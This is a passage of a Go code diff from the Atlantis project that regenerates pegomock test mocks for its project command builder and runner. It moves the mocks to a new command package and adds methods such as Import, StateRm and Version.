[]reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []command.ProjectContext + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]command.ProjectContext) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } -func (mock *MockProjectCommandBuilder) BuildPlanCommands(ctx *events.CommandContext, comment *events.CommentCommand) ([]models.ProjectCommandContext, error) { +func (mock *MockProjectCommandBuilder) BuildApprovePoliciesCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") } - params := []pegomock.Param{ctx, comment} - result := pegomock.GetGenericMockFrom(mock).Invoke("BuildPlanCommands", params, []reflect.Type{reflect.TypeOf((*[]models.ProjectCommandContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 []models.ProjectCommandContext - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].([]models.ProjectCommandContext) + _params := []pegomock.Param{ctx, comment} + _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildApprovePoliciesCommands", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []command.ProjectContext + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]command.ProjectContext) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } -func (mock *MockProjectCommandBuilder) BuildApplyCommands(ctx *events.CommandContext, comment *events.CommentCommand) ([]models.ProjectCommandContext, error) { +func (mock *MockProjectCommandBuilder) BuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") } - params := []pegomock.Param{ctx, comment} - result := pegomock.GetGenericMockFrom(mock).Invoke("BuildApplyCommands", params, []reflect.Type{reflect.TypeOf((*[]models.ProjectCommandContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 []models.ProjectCommandContext - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].([]models.ProjectCommandContext) + _params := []pegomock.Param{ctx} + _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildAutoplanCommands", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []command.ProjectContext + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]command.ProjectContext) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 +} + +func (mock *MockProjectCommandBuilder) BuildImportCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") + } + _params := []pegomock.Param{ctx, comment} + _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildImportCommands", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []command.ProjectContext + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]command.ProjectContext) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockProjectCommandBuilder) BuildPlanCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") + } + _params := []pegomock.Param{ctx, comment} + _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildPlanCommands", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []command.ProjectContext + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]command.ProjectContext) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockProjectCommandBuilder) BuildStateRmCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") + } + _params := []pegomock.Param{ctx, comment} + _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildStateRmCommands", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []command.ProjectContext + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]command.ProjectContext) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockProjectCommandBuilder) BuildVersionCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") + } + _params := []pegomock.Param{ctx, comment} + _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildVersionCommands", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []command.ProjectContext + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]command.ProjectContext) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 } func (mock *MockProjectCommandBuilder) VerifyWasCalledOnce() *VerifierMockProjectCommandBuilder { @@ -90,14 +166,14 @@ func (mock *MockProjectCommandBuilder) VerifyWasCalledOnce() *VerifierMockProjec } } -func (mock *MockProjectCommandBuilder) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockProjectCommandBuilder { +func (mock *MockProjectCommandBuilder) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectCommandBuilder { return &VerifierMockProjectCommandBuilder{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockProjectCommandBuilder) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectCommandBuilder { +func (mock *MockProjectCommandBuilder) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectCommandBuilder { return &VerifierMockProjectCommandBuilder{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -105,7 +181,7 @@ func (mock *MockProjectCommandBuilder) VerifyWasCalledInOrder(invocationCountMat } } -func (mock *MockProjectCommandBuilder) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockProjectCommandBuilder { +func (mock *MockProjectCommandBuilder) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectCommandBuilder { return &VerifierMockProjectCommandBuilder{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -115,14 +191,84 @@ func (mock *MockProjectCommandBuilder) VerifyWasCalledEventually(invocationCount type VerifierMockProjectCommandBuilder struct { mock *MockProjectCommandBuilder - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockProjectCommandBuilder) BuildAutoplanCommands(ctx *events.CommandContext) *MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification { - params := []pegomock.Param{ctx} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildAutoplanCommands", params, verifier.timeout) +func (verifier *VerifierMockProjectCommandBuilder) BuildApplyCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification { + _params := []pegomock.Param{ctx, comment} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildApplyCommands", _params, verifier.timeout) + return &MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification struct { + mock *MockProjectCommandBuilder + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { + ctx, comment := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], comment[len(comment)-1] +} + +func (c *MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*command.Context, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*command.Context) + } + } + if len(_params) > 1 { + _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*events.CommentCommand) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandBuilder) BuildApprovePoliciesCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification { + _params := []pegomock.Param{ctx, comment} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildApprovePoliciesCommands", _params, verifier.timeout) + return &MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification struct { + mock *MockProjectCommandBuilder + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { + ctx, comment := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], comment[len(comment)-1] +} + +func (c *MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*command.Context, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*command.Context) + } + } + if len(_params) > 1 { + _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*events.CommentCommand) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandBuilder) BuildAutoplanCommands(ctx *command.Context) *MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification { + _params := []pegomock.Param{ctx} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildAutoplanCommands", _params, verifier.timeout) return &MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -131,25 +277,62 @@ type MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification struct methodInvocations []pegomock.MethodInvocation } -func (c *MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification) GetCapturedArguments() *events.CommandContext { +func (c *MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification) GetCapturedArguments() *command.Context { ctx := c.GetAllCapturedArguments() return ctx[len(ctx)-1] } -func (c *MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*events.CommandContext) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*events.CommandContext, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*events.CommandContext) +func (c *MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*command.Context, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*command.Context) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandBuilder) BuildImportCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildImportCommands_OngoingVerification { + _params := []pegomock.Param{ctx, comment} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildImportCommands", _params, verifier.timeout) + return &MockProjectCommandBuilder_BuildImportCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandBuilder_BuildImportCommands_OngoingVerification struct { + mock *MockProjectCommandBuilder + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandBuilder_BuildImportCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { + ctx, comment := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], comment[len(comment)-1] +} + +func (c *MockProjectCommandBuilder_BuildImportCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*command.Context, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*command.Context) + } + } + if len(_params) > 1 { + _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*events.CommentCommand) + } } } return } -func (verifier *VerifierMockProjectCommandBuilder) BuildPlanCommands(ctx *events.CommandContext, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification { - params := []pegomock.Param{ctx, comment} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildPlanCommands", params, verifier.timeout) +func (verifier *VerifierMockProjectCommandBuilder) BuildPlanCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification { + _params := []pegomock.Param{ctx, comment} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildPlanCommands", _params, verifier.timeout) return &MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -158,52 +341,95 @@ type MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification) GetCapturedArguments() (*events.CommandContext, *events.CommentCommand) { +func (c *MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { ctx, comment := c.GetAllCapturedArguments() return ctx[len(ctx)-1], comment[len(comment)-1] } -func (c *MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*events.CommandContext, _param1 []*events.CommentCommand) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*events.CommandContext, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*events.CommandContext) +func (c *MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*command.Context, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*command.Context) + } } - _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(*events.CommentCommand) + if len(_params) > 1 { + _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*events.CommentCommand) + } } } return } -func (verifier *VerifierMockProjectCommandBuilder) BuildApplyCommands(ctx *events.CommandContext, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification { - params := []pegomock.Param{ctx, comment} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildApplyCommands", params, verifier.timeout) - return &MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockProjectCommandBuilder) BuildStateRmCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification { + _params := []pegomock.Param{ctx, comment} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildStateRmCommands", _params, verifier.timeout) + return &MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification struct { +type MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification struct { + mock *MockProjectCommandBuilder + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { + ctx, comment := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], comment[len(comment)-1] +} + +func (c *MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*command.Context, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*command.Context) + } + } + if len(_params) > 1 { + _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*events.CommentCommand) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandBuilder) BuildVersionCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification { + _params := []pegomock.Param{ctx, comment} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildVersionCommands", _params, verifier.timeout) + return &MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification struct { mock *MockProjectCommandBuilder methodInvocations []pegomock.MethodInvocation } -func (c *MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification) GetCapturedArguments() (*events.CommandContext, *events.CommentCommand) { +func (c *MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { ctx, comment := c.GetAllCapturedArguments() return ctx[len(ctx)-1], comment[len(comment)-1] } -func (c *MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*events.CommandContext, _param1 []*events.CommentCommand) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*events.CommandContext, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*events.CommandContext) +func (c *MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*command.Context, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*command.Context) + } } - _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(*events.CommentCommand) + if len(_params) > 1 { + _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*events.CommentCommand) + } } } return diff --git a/server/events/mocks/mock_project_command_runner.go b/server/events/mocks/mock_project_command_runner.go index 817ce187d6..dc30989b45 100644 --- a/server/events/mocks/mock_project_command_runner.go +++ b/server/events/mocks/mock_project_command_runner.go @@ -4,8 +4,8 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" + pegomock "github.com/petergtz/pegomock/v4" + command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) @@ -25,34 +25,109 @@ func NewMockProjectCommandRunner(options ...pegomock.Option) *MockProjectCommand func (mock *MockProjectCommandRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockProjectCommandRunner) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockProjectCommandRunner) Plan(ctx models.ProjectCommandContext) models.ProjectResult { +func (mock *MockProjectCommandRunner) Apply(ctx command.ProjectContext) command.ProjectResult { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") } - params := []pegomock.Param{ctx} - result := pegomock.GetGenericMockFrom(mock).Invoke("Plan", params, []reflect.Type{reflect.TypeOf((*models.ProjectResult)(nil)).Elem()}) - var ret0 models.ProjectResult - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.ProjectResult) + _params := []pegomock.Param{ctx} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Apply", _params, []reflect.Type{reflect.TypeOf((*command.ProjectResult)(nil)).Elem()}) + var _ret0 command.ProjectResult + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(command.ProjectResult) } } - return ret0 + return _ret0 } -func (mock *MockProjectCommandRunner) Apply(ctx models.ProjectCommandContext) models.ProjectResult { +func (mock *MockProjectCommandRunner) ApprovePolicies(ctx command.ProjectContext) command.ProjectResult { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") } - params := []pegomock.Param{ctx} - result := pegomock.GetGenericMockFrom(mock).Invoke("Apply", params, []reflect.Type{reflect.TypeOf((*models.ProjectResult)(nil)).Elem()}) - var ret0 models.ProjectResult - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.ProjectResult) + _params := []pegomock.Param{ctx} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ApprovePolicies", _params, []reflect.Type{reflect.TypeOf((*command.ProjectResult)(nil)).Elem()}) + var _ret0 command.ProjectResult + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(command.ProjectResult) } } - return ret0 + return _ret0 +} + +func (mock *MockProjectCommandRunner) Import(ctx command.ProjectContext) command.ProjectResult { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") + } + _params := []pegomock.Param{ctx} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Import", _params, []reflect.Type{reflect.TypeOf((*command.ProjectResult)(nil)).Elem()}) + var _ret0 command.ProjectResult + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(command.ProjectResult) + } + } + return _ret0 +} + +func (mock *MockProjectCommandRunner) Plan(ctx command.ProjectContext) command.ProjectResult { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") + } + _params := []pegomock.Param{ctx} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Plan", _params, []reflect.Type{reflect.TypeOf((*command.ProjectResult)(nil)).Elem()}) + var _ret0 command.ProjectResult + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(command.ProjectResult) + } + } + return _ret0 +} + +func (mock *MockProjectCommandRunner) PolicyCheck(ctx command.ProjectContext) command.ProjectResult { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") + } + _params := []pegomock.Param{ctx} + _result := pegomock.GetGenericMockFrom(mock).Invoke("PolicyCheck", _params, []reflect.Type{reflect.TypeOf((*command.ProjectResult)(nil)).Elem()}) + var _ret0 command.ProjectResult + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(command.ProjectResult) + } + } + return _ret0 +} + +func (mock *MockProjectCommandRunner) StateRm(ctx command.ProjectContext) command.ProjectResult { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") + } + _params := []pegomock.Param{ctx} + _result := pegomock.GetGenericMockFrom(mock).Invoke("StateRm", _params, []reflect.Type{reflect.TypeOf((*command.ProjectResult)(nil)).Elem()}) + var _ret0 command.ProjectResult + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(command.ProjectResult) + } + } + return _ret0 +} + +func (mock *MockProjectCommandRunner) Version(ctx command.ProjectContext) command.ProjectResult { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") + } + _params := []pegomock.Param{ctx} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Version", _params, []reflect.Type{reflect.TypeOf((*command.ProjectResult)(nil)).Elem()}) + var _ret0 command.ProjectResult + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(command.ProjectResult) + } + } + return _ret0 } func (mock *MockProjectCommandRunner) VerifyWasCalledOnce() *VerifierMockProjectCommandRunner { @@ -62,14 +137,14 @@ func (mock *MockProjectCommandRunner) VerifyWasCalledOnce() *VerifierMockProject } } -func (mock *MockProjectCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockProjectCommandRunner { +func (mock *MockProjectCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectCommandRunner { return &VerifierMockProjectCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockProjectCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectCommandRunner { +func (mock *MockProjectCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectCommandRunner { return &VerifierMockProjectCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -77,7 +152,7 @@ func (mock *MockProjectCommandRunner) VerifyWasCalledInOrder(invocationCountMatc } } -func (mock *MockProjectCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockProjectCommandRunner { +func (mock *MockProjectCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectCommandRunner { return &VerifierMockProjectCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -87,14 +162,101 @@ func (mock *MockProjectCommandRunner) VerifyWasCalledEventually(invocationCountM type VerifierMockProjectCommandRunner struct { mock *MockProjectCommandRunner - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockProjectCommandRunner) Plan(ctx models.ProjectCommandContext) *MockProjectCommandRunner_Plan_OngoingVerification { - params := []pegomock.Param{ctx} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Plan", params, verifier.timeout) +func (verifier *VerifierMockProjectCommandRunner) Apply(ctx command.ProjectContext) *MockProjectCommandRunner_Apply_OngoingVerification { + _params := []pegomock.Param{ctx} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Apply", _params, verifier.timeout) + return &MockProjectCommandRunner_Apply_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandRunner_Apply_OngoingVerification struct { + mock *MockProjectCommandRunner + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandRunner_Apply_OngoingVerification) GetCapturedArguments() command.ProjectContext { + ctx := c.GetAllCapturedArguments() + return ctx[len(ctx)-1] +} + +func (c *MockProjectCommandRunner_Apply_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandRunner) ApprovePolicies(ctx command.ProjectContext) *MockProjectCommandRunner_ApprovePolicies_OngoingVerification { + _params := []pegomock.Param{ctx} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ApprovePolicies", _params, verifier.timeout) + return &MockProjectCommandRunner_ApprovePolicies_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandRunner_ApprovePolicies_OngoingVerification struct { + mock *MockProjectCommandRunner + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandRunner_ApprovePolicies_OngoingVerification) GetCapturedArguments() command.ProjectContext { + ctx := c.GetAllCapturedArguments() + return ctx[len(ctx)-1] +} + +func (c *MockProjectCommandRunner_ApprovePolicies_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { + _params := 